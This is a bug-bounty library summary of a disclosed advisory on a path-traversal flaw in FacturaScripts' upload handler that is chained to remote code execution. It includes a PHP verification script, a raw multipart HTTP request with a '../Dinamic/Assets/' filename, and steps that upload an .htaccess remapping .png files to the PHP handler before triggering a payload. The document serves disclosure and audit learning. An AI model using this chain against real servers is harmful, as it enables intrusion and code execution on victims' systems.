# FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE

FacturaScripts UploadedFile::move() concatenates unsanitized client filename, letting authenticated users path-traverse out of MyFiles/ and write .htaccess plus PHP payload for RCE.

- Payout: Research
- Severity: critical
- Program: FacturaScripts
- Found by: aslein1413-sys
- Disclosed: 2026-07-14
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-hgjx-r89m-m7v4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hgjx-r89m-m7v4
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:php technique:chained technique:source-review vuln:file-upload vuln:path-traversal vuln:rce

**Target:** PHP file-upload API endpoints and file widgets (UploadedFile::move)
**Root cause:** UploadedFile::move() concatenates $destiny and $destinyName without basename()/normalization, and getClientOriginalName() returns the raw client filename; isValid() only checks an extension blocklist that omits .htaccess.
**Steps:**
1. Identify sink: `move_uploaded_file($this->tmp_name, $destiny . $destinyName)` in Core/UploadedFile.php with $destinyName from getClientOriginalName()
2. Send `POST /api/3/uploadfiles` with multipart filename `../Dinamic/Assets/traversed.txt` and a valid Token header
3. Confirm file lands at Dinamic/Assets/traversed.txt and is served directly by Apache (rewrite excludes Dinamic/Assets/)
4. Upload filename `../Dinamic/Assets/.htaccess` with body `AddType application/x-httpd-php .png`
5. Upload filename `../Dinamic/Assets/x.png` containing PHP payload (png not in BLOCKED_EXTENSIONS)
6. Request `https://target/Dinamic/Assets/x.png` to trigger PHP handler
**How found:** Code review of UploadedFile::move() and its six call sites, noticing getClientOriginalName() is passed unsanitized and isValid() only checks an extension blocklist; then cross-referenced the shipped htaccess-sample rewrite exclusions to find a directly-served writable directory.
**Exploitation:** Authenticated user or API token with uploadfiles/attachedfiles permission uploads a file whose multipart filename contains ../ segments, escaping MyFiles/ into Dinamic/Assets/ (Apache-served, rewrite-excluded). Two further uploads drop a .htaccess remapping .png to the PHP handler and a .png PHP payload, yielding code execution as the web-server user; alternatively overwrite shipped JS/CSS for admin session takeover.
**Escalation:** Chained arbitrary file write with the shipped htaccess-sample rewrite exclusion of Dinamic/Assets/ and the absence of .htaccess from BLOCKED_EXTENSIONS to convert file write into RCE.
**Insight:** When auditing upload sinks, check the shipped production web-server config for rewrite-excluded directories (assets, node_modules) — those are directly served and turn a path-traversal write into RCE; also check whether .htaccess/.user.ini are in the extension blocklist, since they enable handler remapping.

## Proof of concept (copied exactly from the original report)

**PHP script reproducing move() path traversal**

```
<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');

$tmp = $base . '/tmp_upload.dat';
file_put_contents($tmp, "static-verification-marker\n");

function fs_move($tmp_name, $destiny, $destinyName) {
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return rename($tmp_name, $destiny . $destinyName);
}

fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');

echo file_exists($base . '/Dinamic/Assets/traversed.txt')
    ? "WRITTEN OUTSIDE MyFiles\n"
    : "blocked\n";
```

**Live HTTP upload with ../ filename**

```
POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/traversed.txt"
Content-Type: text/plain

static-verification-marker
-----X--
```

**Chain to RCE via .htaccess and png**

```
1. Upload with filename `../Dinamic/Assets/.htaccess` and body `AddType application/x-httpd-php .png`
2. Upload with filename `../Dinamic/Assets/x.png` containing a PHP payload (extension `png` is not blocked, content is not validated by `isValid()`)
3. Request `https://target/Dinamic/Assets/x.png` — Apache hands it to the PHP handler per the uploaded `.htaccess`
```

